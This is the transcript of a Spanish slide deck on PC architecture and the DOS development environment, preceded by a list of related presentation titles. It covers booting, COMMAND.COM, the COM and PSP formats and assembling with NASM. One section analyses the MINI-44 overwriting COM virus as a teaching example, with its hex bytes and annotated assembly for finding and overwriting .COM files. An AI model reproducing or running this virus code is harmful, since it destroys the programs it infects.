Arquitectura de PCs El ambiente de desarrollo. Introducción Ambiente de desarrollo del curso: - CPU Intel 80386+ - Teclado - Monitor color - Disco duro.

Slides:



Advertisements
Presentaciones similares
Algunos Sistemas Operativos
Advertisements

DOS COMP 240.
UNIX COMP 240.
Sistema operativo Componentes de un sistema operativo
CLASE 3 SOFTWARE DEL MICROPROCESADOR
Subsistemas De un Sistema Operativo Celeste Domínguez Romo
SEMANA 9_2.
Concepto de programa. Directorio Concepto de programa. Analisis del problema. Resolucion del problema. Desarroollo de un programa. Partes constitutivas.
TASM: Ensamblador Se le llama ensamblador no sólo al lenguaje; sino también al programa que traduce el código fuente escrito en ensamblador, a código objeto,
Teoría de lenguajes y compiladores
Programación en Lenguaje Ensamblador.
Componentes básicos del ordenador
Introducción al Software
Free Pascal 1. Introducción 2. Instalación 3. Uso 4. Documentación 5. Información Adicional.
INTEGRANTES ALEXIS MENDOZA ALDAIR ARRIETA CARLOS PASTOR LORENA RODRIGUEZ ANTHONY JIMENEZ.
Introducción al NASM The Netwide Assembler MIA J. Rafael Rojano C.

Sistema Operativo. ¿Qué es el Sistema Operativo? Un sistema operativo (SO) es el conjunto de programas y utilidades software que permiten al usuario interactuar.
PROGRAMACION II.  Es un conjunto de datos no necesariamente del mismo tipo, los cuales se podrán manipular o realizar cualquier operación sobre cada.
Introducción al lenguaje ensamblador
Administración de Archivos
Archivos.
Informática Ingeniería en Electrónica y Automática Industrial
Tecnología de la información Unidad: 3 El software Profesor: Fernando J. Martini.
Secciones y Segmentos STARTUP
Sistema de archivos Sistemas operativos.
Tema 10.3: Asignación de Espacio No Contiguo. Tema 10.3: 2 Silberschatz, Galvin and Gagne ©2005 Fundamentos de los Computadores (ITT, Sist. Electr.),
Asignación de Espacio No Contiguo
PROCESO DE ARRANQUE DE UNA COMPUTADORA
Tutorial de Macro Assembler por Dalimar Velez Vega.
Microprocesador (80X86) Universidad Nacional de Ingeniería
Introducción al lenguaje ensamblador
María Camila Torres Quiroz 10 informática 2 CEFA 2012
Unidad I: Registros e Interrupciones Facilitador: Ing. Eduardo Brando.
M.C. Juan Carlos Olivares Rojas
MANTENIMIENTO PREVENTIVO Y CORRECTIVO

COMPONENTES DEL SISTEMA OPERATIVO.
introducción al Lenguaje Ensamblador
MS dos.
Teoría de Sistemas Operativos Administración de Archivos.
CONCEPTOS FUNDAMENTALES DEL NIVEL DEL SISTEMA OPERATIVO
COMANDO D. O. S OSCAR JAVIER GUERRERO SALAS Universidad Surcolombiana Tec. Des. Software Universidad Surcolombiana.
El Sistema Operativo y la Interfaz de Usuario
SISTEMA OPERATIVO MS-DOS.
SEMANA 03_2. ESCRITURA DE PROGRAMAS.COM DE FORMA AUTOMATICA EL ENLAZADOR GENERA UN FORMATO PARTICULAR PARA UN PROGRAMA.EXE. TAMBIEN PUEDE GENERAR UN PROGRAMA.COM.
Sistemas de Archivos Sistemas Operativos.  Se debe proporcionar un almacenamiento secundario que respalda a la memoria principal  El Sistema de archivos.
Fundamentos de Programación Tema 1.10 Consola de línea de comandos
Vamos a tratar algunos temas que es necesario conocer a la hora de administrar un sistema informático y que nos van a ser útiles sin importar el sistema.
Comandos internos y externos
SISTEMAS OPERATIVOS.
introducción al Lenguaje Ensamblador
Elementos y tipos de sistemas operativos
Programación en Lenguaje Ensamblador.
Driver o controlador para la pc.
VIRUS INFORMÁTICOS Un virus informático es un malware que tiene por objeto alterar el normal funcionamiento de la computadora, sin el permiso o el conocimiento.
Arquitectura de Computadores
  Una computadora es una maquina electrónica capaz de procesar datos para convertirlos en información útil para el ser humano o para otras maquinas.
El microprocesador y su arquitectura
Lenguaje ensamblador Conceptos introductorios. Formatos de Instrucción. Modos de Direccionamiento. Conjunto de instrucciones básico. Introducción al Lenguaje.
Arquitectura de PCs Operación de los periféricos del PC.
Arquitectura básica de la computadora
ORDENADOR HARDWARE UNIDAD CENTRAL Microprocesador memoria PERIFÉRICOS Teclado, ratón, Escáner, Impresora, Webcam, lápiz, Etc. SOFTWARE SISTEMAS OPERATIVOS.
Arquitectura de PCs Arquitectura básica del PC. Introducción El PC es el resultado de una especificación técnica de IBM El hardware se organiza de forma.
Arquitectura de PCs El BIOS. Introducción Un PC tiene parámetros específicos para el acceso a dispositivos periféricos: por ejemplo, acceso a disco duro.
Sobre el curso Introducción a la arquitectura del PC.
Arquitectura de PCs Secuencia de compilación de un programa.
Arranque desde CD en modo de no emulación Instalación y Configuración de Computadores, Redes y Periféricos.
P ROCESO DE E NSAMBLADO Cámara Vázquez Berenice Rubí.
Katty Evangelina Hipólito Chi.   Aunque cada maquina tiene un lenguaje ensamblador distinto, el proceso de ensamblador tiene suficiente similitudes.
Transcripción de la presentación:

Arquitectura de PCs El ambiente de desarrollo

Introducción Ambiente de desarrollo del curso: - CPU Intel Teclado - Monitor color - Disco duro - Disquetera Hardware PC AT+Software libre Open Source - Sistema operativo FreeDOS - Linker VAL - Compilador NASM Temática para laboratorio 1: Sistema operativo DOS Formato de archivo ejecutable COM Compilador NASM

DOS y.COM: Introducción Notación: SO = “sistema operativo” Para el usuario y el programador el SO FreeDOS es idéntico al SO MS-DOS de Microsoft: se usa indistintamente términos “DOS” y “FreeDOS”

DOS y.COM: Introducción Fin POST del BIOS: Carga sector CHS=0,0,1 de dispositivo primario en 0000:7C00H Salto incondicional 0000:7C00H Si dispositivo de arranque es un disquete, sector CHS = 0,0,1 contiene el “sector de inicio” El sector de inicio se escribe en la instalación del SO El sector de inicio es un programa que usa servicios BIOS para cargar al SO a memoria

DOS y.COM: Introducción FFFFFH F0000H 003FFH Tabla de interrupciones 00000H Datos del BIOS 00400H ROM BIOS A0000H BFFFFH RAM de vídeo ROM (dispositivos y opcional) C0000H EFFFFH SO DOS Memoria disponible para programas de usuario El proceso de inicio del SO termina en ejecución de procesador de comandos COMMAND.COM COMMAND.COM

DOS y.COM: Introducción Arquitectura DOS: tres capas BIOS Núcleo DOS COMMAND.COMPROGRAMAS DE USUARIO INT 21H, 27H Funciones del sistema para: - Manejo de archivos, de memoria - Acceso a teclado y video - Acceso a RTC - Ejecución de programas INT 5, 13H.. 1AH, 48H Servicios BIOS de acceso a dispositivos

DOS y.COM: COMMAND.COM Comando interno: reside en COMMAND.COM COMMAND.COM imprime línea de comandos en pantalla, interpreta y ejecuta comandos de usuarios: copy, dir, del Comando externo: programa en disco; se carga en memoria al inicio de ejecución y se descarta al terminar ejecución Programas de usuario, editores de texto, etc. Archivo batch: archivo de texto de extensión BAT. Incluye comandos externos e internos. Se procesa una línea por vez

DOS y.COM: COMMAND.COM Ejecución COMMAND.COM: BIOS Núcleo DOS COMMAND.COM Loop_infinito: mov ah, 09h mov dx,prompt int 21 h mov dx, cmd mov ah, 0Ah int 21 h call parse_cmd... jmp Loop_infinito... prompt db ‘C:\>$’ cmd resb int 10h... C:\>... int 16h... HOLA [Enter] HOLA

DOS y.COM: COMMAND.COM Interpretación de comando (por ej. HOLA): Si es interno lo ejecuta y termina Si no, busca comando externo o archivo batch con el mismo nombre que el comando: En directorio actual y en cada directorio de variable PATH Primero busca archivo de extensión “.COM”, luego “.EXE” y luego “.BAT” Si no se encuentra archivo, muestra mensaje “Bad command or file name”

DOS y.COM: COMMAND.COM Ejecución de comando externo “HOLA” Núcleo DOS COMMAND.COM Disco B4 09 BA 0C 01 CD 21 B8 00 4C CD E D 75 6E 64 6F C:\HOLA.COM Parse_cmd: call internal_cmd jnz external ret external: call find_cmdfile jnz print_nocmd mov dx,cmdfile... mov ah,4Bh ;EXEC int 21h ret Cmdfile resb 256 cmd resb 256 Environment: PATH resb 512 HOLA C:\;C:\bin 00000H DOS 01000H INI_MEM 09000H 09000H 09100H PSP Memoria disponible B4 0911DH CSDSSS FFFFFH 18FFEH SP mov ah,4Ch int 21h C:\HOLA.COM

DOS y.COM: Núcleo del SO Núcleo DOS implementa funciones de soporte a interfaz a aplicaciones: servicios DOS (detalle en bibliografía [1] del curso): Manejo de archivos Manejo de memoria Acceso a teclado y video Ejecución y terminación de programas Acceso a RTC Abstrae disco en sistema jerárquico de archivos organizado como árbol de directorios (funciones abrir, leer, escribir, crear, eliminar archivo, etc.) Reserva o libera memoria en zona disponible Lectura escritura de fecha y hora Incluye soporte a programas residentes Acceso a servicios DOS Interrupción paraguas 21H; función individual en AH Interrupciones (de software) DOS

DOS y.COM: Núcleo del SO Programas residentes juegan papel importante en este curso: Programa no residente: memoria se libera al terminar Programa residente: mantiene parte especificada del programa en memoria tras terminar

DOS y.COM: Núcleo del SO Ejemplo: dos programas no residentes 00000H DOS 01000H INI_MEM 09000H 09000H 09100H Memoria disponible FFFFFH C:\> P1.COM PSP(P1) P1 PSP(P2) P2 C:\> P2.COM

DOS y.COM: Núcleo del SO Ejemplo: programa 1 con 300H bytes residentes 00000H DOS 01000H INI_MEM 09000H 09000H 09100H Memoria disponible FFFFFH C:\> P1.COM C:\> P2.COM INI_MEM 09300H 09300H PSP(P1) P1 PSP(P2) P H

DOS y.COM: Programa COM Los archivos EXE y COM se ejecutan directamente por la CPU El tipo COM es el más simple de los dos, y el que se va a utilizar en este curso Un archivo COM se corresponde directamente con la imagen binaria del programa en memoria

DOS y.COM: Programa COM Se considera programa HOLA.ASM: B4 09 BA 0C 01 CD 21 B8 00 4C CD E D 75 6E 64 6F Se ensambla en HOLA.COM Directiva: espacio de instrucciones y datos único Directiva: primera instrucción en offset 100H, siguiendo PSP Función 9 DOS: imprime cadena de texto terminada en ‘$’ Recibe puntero a la cadena en DS:DX (DS = CS) Pasa Control a DOS Función 4CH DOS: termina programa Pasa Control a DOS Cadena de texto en dirección “HI” section.text org 100h mov ah,9 mov dx,HI int 21h mov ax,4C00h int 21h HI db ‘Buen dia mundo!!!$’

DOS y.COM: Programa COM Ejecución de comando externo “HOLA.COM” Núcleo DOS COMMAND.COM Disco B4 09 BA 0C 01 CD 21 B8 00 4C CD E D 75 6E 64 6F C:\HOLA.COM mov dx,cmdfile... mov ah,4Bh ;EXEC int 21h... Cmdfile resb 256 cmd resb 256 Environment: PATH resb 512 HOLA C:\;C:\bin 00000H DOS 01000H INI_MEM 09000H 09000H 09100H PSP Memoria disponible B4 0911FH CSDSSS FFFFFH 18FFEH SP mov ah,4Ch int 21h C:\HOLA.COM

DOS y.COM: Programa COM HOLA.ASM: Directiva: espacio de instrucciones y datos único Directiva: primera instrucción en offset 100H, siguiendo PSP Función 9 DOS: imprime cadena de texto terminada en ‘$’ Recibe puntero a la cadena en DS:DX (DS = CS) Pasa Control a DOS Función 4CH DOS: termina programa Pasa Control a DOS Cadena de texto en dirección “HI” section.text org 100h mov ah,9 mov dx,HI int 21h mov ax,4C00h int 21h HI db ‘Buen dia mundo!!!$’ - HOLA.ASM no hace referencia directa a ningún registro de segmento - Por ej., puntero a cadena de texto que imprime la función 9 DOS (HI) se pasa como offset relativo a DS - HOLA.ASM es independiente de la dirección donde lo carga DOS

DOS y.COM: Programa COM PSP Previo a la ejecución del programa, DOS: carga archivo COM a offset 100H del segmento de programa Crea un PSP (Program Segment Prefix), desde offset 0 hasta offset 0FFH del segmento Gran parte de PSP no se usa en programas de DOS, aunque se preserva por compatibilidad hacia atrás Partes del PSP útiles: Offset 80H: texto que sigue al nombre del programa en la línea de comandos Offset 2CH: segmento que contiene las variables de entorno DOS (por ej. PATH)

DOS y.COM: Programa COM Por ej., se invoca HOLA según C:\HOLA Hola mundo! Para imprimir en pantalla el contenido de la PSP: DEBUG c:\HOLA.COM Hola Mundo! - D 0 L 100 En particular, en offset 80H se observa el valor 0CH, que es el largo de “Hola Mundo!”, seguido de la cadena de texto terminada en =0DH Comando DEBUG “R” imprime valor de los registros

DOS y.COM: Programa COM Inicio de la pila: después de cargar el programa en offset 100H, DOS inicia la pila en el tope del segmento: Los dos primeros bytes se inician a 0, para que una instrucción RET salte a offset 0 de la PSP, donde reside instrucción INT20H (devuelve control a DOS) Inicia SP = FFFEH

DOS y.COM: Ej. virus COM Virus de computadora: programa que se reproduce a sí mismo NO crea copias de sí mismo (1.COM -> 2.COM); se adjunta a otros programas “infectándolos” Programas infectados se ejecutan en uso normal de la computadora, y virus se ejecuta con ellos

DOS y.COM: Ej. virus COM Se considera por ej. el tipo de virus más sencillo: MINI-44.ASM, que infecta archivos.COM reemplazando parte del programa con su propio código MINI-44 ensambla en 44 bytes: Un programa infectado por MINI-44 se destruye B4 4E BA CD C B8 01 3D BA 9E 00 CD B4 40 B1 2C BA CD 21 B4 3E CD 21 B4 4F CD 21 EB E2 C3 2A 2E 43 4F 4D 00

DOS y.COM: Ej. virus COM Todo virus tiene dos rutinas básicas: rutina de búsqueda: localiza archivos para infectar rutina de copia: copia el virus a programa localizado

DOS y.COM: Ej. virus COM Ejecución MINI-44: C:\PRUEBA> C:\ B4 4E BA CD C B8 01 3D BA 9E 00 CD B4 40 B1 2C BA CD 21 B4 3E CD 21 B4 4F CD 21 EB E2 C3 2A 2E 43 4F 4D 00 B INFECTADO.COM B4 09 BA 0C 01 CD 21 B8 00 4C CD E D 75 6E 64 6F B4 09 BA 0C 01 CD 21 B8 00 4C CD E D 75 6E 64 6F VICTIMA.COM PRUEBA 00000H DOS 01000H MEM 9000H 09000H 09100H PSP E B4 0911FH FFFFFH 18FFFH Busca primer archivo COM en C:\PRUEBA ¿ Archivo Encontrado? Si : VICTIMA.COM Infecta archivo Busca siguiente archivo COM en C:\PRUEBA Retornar a DOS No B4 4E BA CD C B8 01 3D BA 9E 00 CD B4 40 B1 2C BA CD 21 B4 3E CD 21 B4 4F CD 21 EB E2 C3 2A 2E 43 4F 4D E D 75 6E 64 6F VICTIMA.COM INFECTADO

DOS y.COM: Ej. virus COM - DOS organiza disco como sistema de archivos jerárquico desde directorio “raíz” - Estructura de árbol: directorios pueden contener subdirectorios - Rutina de búsqueda de MINI-44 usa funciones DOS (int 21h) 4EH y 4FH Buscar primero: busca primer archivo según cadena de texto, por ej., “DB *.COM”) Función DOS 4EH DS:DX apunta a la cadena de texto especificando búsqueda Si CY = 0 nombre y atributos de archivo en sección DTA de PSP; si CY = 1 no encontró Buscar siguiente: busca siguiente archivo a partir de una secuencia definida por función Buscar Primero Función DOS 4FH DTA iniciado en llamado previo a función Buscar Primero o Buscar Siguiente Si CY = 0 encontró, nombre y atributos de archivo en sección DTA de PSP; si CY = 1 no encontró

DOS y.COM: Ej. virus COM Análisis de código de MINI-44: Busca primer archivo COM en C:\PRUEBA ¿ Archivo Encontrado? Busca siguiente archivo COM en C:\PRUEBA Retornar a DOS No Si Infecta archivo SRCH_FIRST: mov dx,COMFILE mov ah,4EH int 21H COMFILE db '*.COM',0 COMFILE = Offset de cadena ASCII Función Buscar Primero Pasa a DOS Buscar archivo COM en directorio de virus DONE: ret termina devolviendo control a DOS jc DONEno encontró mov ah,4FH int 21H Buscar siguiente FOUND: mov ax,3D01H mov dx,FNAME int 21h mov bx,ax mov dx,100H mov cx,44 mov ah,40H int 21h mov ah,3EH int 21h Abrir archivo (AH=3DH), en modo escritura (AL=1) nombre de archivo encontrado en offset FNAME=9EH devuelve manejador de archivo en AX carga manejador de archivo en BX inicio del buffer de escritura número de bytes a escribir función 40H escribe cx bytes a archivo definido por el manejador en BX; buffer DS:DX función 3EH, cierra archivo definido por manejador en BX Abre archivo Escribe Cierra archivo

Ambiente de desarrollo EL COMPILADOR NASM Y EL FORMATO COM

Definiciones Archivo fuente: archivo de entrada a un ensamblador. Consiste en sentencias ASM y directivas al ensamblador Archivo objeto: archivo producido por un ensamblador procesando un archivo fuente. Existen diversos formatos. En general archivo objeto consiste en: Encabezado Código de máquina Información de relocación Símbolos del programa

Definiciones El enlazador (linker) genera un “archivo ejecutable”, “enlazando” un conjunto de archivos objeto Existen diversos archivos de formato ejecutable. El más simple es el formato COM, que tiene sólo el código máquina del programa

Ensamblado NASM NASM puede generar 2 formatos de archivos objeto: OBJ o BIN Si el archivo fuente es autocontenido (LABORATORIO 1), NASM permite generar directamente ejecutable (formato BIN) Archivo Fuente NASMArchivo Ejecutable COM Formato BIN Archivo Fuente 1 Archivo Fuente 2 Archivo Fuente N NASM Archivo Objeto 1 Formato OBJ NASM ENLAZADORArchivo Ejecutable COM Archivo Objeto 2 Formato OBJ Archivo Objeto N Formato OBJ Generación ejecutable COM con NASM a partir de varios fuentes: formato OBJ

Comando NASM Comando NASM para ensamblar archivo: Opcionales nasm -f [-o ArchivoObjeto>] [-l ArchivoListado] - Formato = formato de objeto, “bin” u “obj” - Archivo fuente = path a archivo fuente con extensión “.ASM” - Archivo objeto = path a archivo objeto (extensión.BIN,.COM o.OBJ) - Archivo listado = path a archivo de listado con extensión “.LST” Archivo objeto tipo BIN se compone sólo del código de máquina del archivo fuente: idéntico a formato COM nasm -f bin hola.asm -o hola.com -l hola.lst Fuente: hola.asm Objeto: hola.com Listado: hola.lst

Fuente BIN section.text;Directiva a NASM, indicando ;que las sentencias que siguen ;pertenecen a la sección “text” org 100h;Directiva a NASM, indicando ;offset que se suma a ;todas las referencias a ;memoria en las instrucciones [sentencias ASM en sintaxis según CAP. 2] Sección: conjunto de datos en localidades adyacentes de memoria Estrictamente, para BIN el offset es ORG + el comienzo de la sección relativo al inicio del binario Esqueleto de archivo fuente NASM para el formato BIN:

Se considera por ej. HOLA.ASM: Comando para generar listado de HOLA.ASM: NASM: Ensamblado BIN section.text org 100h mov ah,9 mov dx,HI int 21h mov ax,4C00h int 21h HI db ‘Buen dia mundo!!!$’ nasm -f bin hola.asm -o hola.com -l hola.lst

Hola.lst: NASM: Ensamblado BIN Número de línea en archivo fuente Offset en archivo objeto Instrucción en código de máquina Línea de archivo fuente Se ensambla en Referencia a la memoria: offset 000C de sección TEXT (todavía no sumó el offset de ORG)

NASM suma 100H (ORG) a la referencia en la línea 5; esto se verifica en el archivo objeto de salida, por ej. con el comando DEBUG: “debug [nombre de archivo].COM” carga el archivo COM en memoria igual que función EXEC, sin pasar el control de ejecución al archivo Instrucción “D 100 L 20” muestra 20H bytes desde offset 100H de archivo cargado por DEBUG, esto es, primeros 20H bytes de archivo COM NASM: Ensamblado BIN

mov ah,9 Debug aplicado a hola.com: mov dx, HI HI = 010CH (LITTLE ENDIAN)

“U 100 L B” desensambla 0BH bytes de código del archivo COM: NASM: Ensamblado BIN